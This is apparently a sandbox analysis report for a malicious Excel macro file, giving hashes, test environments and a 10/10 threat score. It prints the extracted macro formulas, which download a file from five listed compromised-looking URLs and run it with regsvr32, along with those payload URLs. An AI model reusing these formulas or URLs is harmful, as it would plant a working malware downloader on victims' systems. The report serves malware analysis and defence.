General
-
Target
ccd4c78a14ca26d10168422022e95d77c060f1281cd4c782eedda7b3f483ed70
-
Size
91KB
-
Sample
241120-1xxl7strdx
-
MD5
61fafdcd19ec01147b9b919720af9658
-
SHA1
d4202fe54f4c507ecf1f77acf0dc95befef1b775
-
SHA256
ccd4c78a14ca26d10168422022e95d77c060f1281cd4c782eedda7b3f483ed70
-
SHA512
5cb18a9e8c0f1ddd3c7369aadfaa9d900a3c379ce1502dbbda562bed0877145d2ac69665736e479dad5211384aabb2072f1cd181b27bfa855fd5ce6eebf64f97
-
SSDEEP
1536:hNrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:h142byVEoBo6hKb4llGsQjbxBw
Behavioral task
behavioral1
Sample
ccd4c78a14ca26d10168422022e95d77c060f1281cd4c782eedda7b3f483ed70.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ccd4c78a14ca26d10168422022e95d77c060f1281cd4c782eedda7b3f483ed70.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://themillionairesweb.com/wp-admin/MD/
https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/
https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/
http://idvlab.com.br/wp-admin/FIWBL/
https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://themillionairesweb.com/wp-admin/MD/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://idvlab.com.br/wp-admin/FIWBL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()
Extracted
https://themillionairesweb.com/wp-admin/MD/
https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/
https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/
http://idvlab.com.br/wp-admin/FIWBL/
https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/
Targets
-
-
Target
ccd4c78a14ca26d10168422022e95d77c060f1281cd4c782eedda7b3f483ed70
-
Size
91KB
-
MD5
61fafdcd19ec01147b9b919720af9658
-
SHA1
d4202fe54f4c507ecf1f77acf0dc95befef1b775
-
SHA256
ccd4c78a14ca26d10168422022e95d77c060f1281cd4c782eedda7b3f483ed70
-
SHA512
5cb18a9e8c0f1ddd3c7369aadfaa9d900a3c379ce1502dbbda562bed0877145d2ac69665736e479dad5211384aabb2072f1cd181b27bfa855fd5ce6eebf64f97
-
SSDEEP
1536:hNrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:h142byVEoBo6hKb4llGsQjbxBw
Score10/10 -